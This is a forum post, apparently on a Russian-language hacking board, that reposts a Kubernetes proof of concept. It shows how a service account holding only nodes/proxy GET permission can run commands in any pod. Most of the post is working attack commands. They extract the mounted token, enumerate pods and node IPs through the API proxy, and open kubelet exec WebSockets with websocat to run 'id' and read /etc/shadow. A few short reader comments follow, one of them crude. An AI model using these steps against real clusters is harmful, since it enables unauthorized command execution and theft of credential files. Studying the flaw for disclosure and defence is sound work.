LIMB
Вход Регистрация

тема

Kubernetes RCE: Exploiting nodes/proxy GET

Xrahitel · · 4 ответов · 838 просмотров

Не удалось прогрузить медиа

This is a minimal proof of concept. For a comprehensive analysis of this vulnerability, including root cause analysis, disclosure timeline, and detection recommendations, see the full blog post.

This lab demonstrates how nodes/proxy GET permissions allow command execution in any Pod, despite appearing to be read-only.

Enter the attacker pod​

First, exec into the attacker pod. This pod has a service account with only nodes/proxy GET permissions.

Код:

Code:
kubectl exec -it attacker -- sh

Check your permissions​

Verify the service account only has nodes/proxy GET:

Код:

Code:
kubectl auth can-i --list


You should see nodes/proxy with only the get verb - no create permission.

Set up environment variables​

Inside the attacker pod, set up the token and API server:

Код:

Code:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

Extract the node name from the JWT token payload (JWT uses base64url encoding):

Код:

Code:
export NODE_NAME=$(echo "$(echo $TOKEN | cut -d. -f2)==" | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.["kubernetes.io"].node.name')
echo $NODE_NAME

Discover Pods and Node IPs​

Using only nodes/proxy GET, query the API server proxy endpoint to list all pods on a node and discover their host IPs:

Код:

Code:
wget -qO- --no-check-certificate \
  --header "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[] | "Node: \(.spec.nodeName) (\(.status.hostIP)), Namespace: \(.metadata.namespace), Pod: \(.metadata.name)"'

Extract just the node IP for later use:

Код:

Code:
export NODE_IP=$(wget -qO- --no-check-certificate \
  --header "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[0].status.hostIP')

echo $NODE_IP

Execute commands in any Pod​

Now use websocat to execute commands in the nginx pod. This works because WebSocket connections use HTTP GET for the handshake, bypassing the CREATE verb check:

Код:

Code:
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"

You should see output like uid=0(root) gid=0(root) groups=0(root) - proving command execution with only GET permissions.

Код:

Code:
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=cat&command=/etc/shadow"


Read the contents of /etc/shadow on the nginx host.

Why does this work?​

For a full breakdown, please refer to the full disclosure.
👍81 ❤️6 🔥6 😮19 🤔11 💯19
Отличная статья!
👍2
good news
👍1
thats so awesome im lowk jackin it rn
Отличная статья!
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.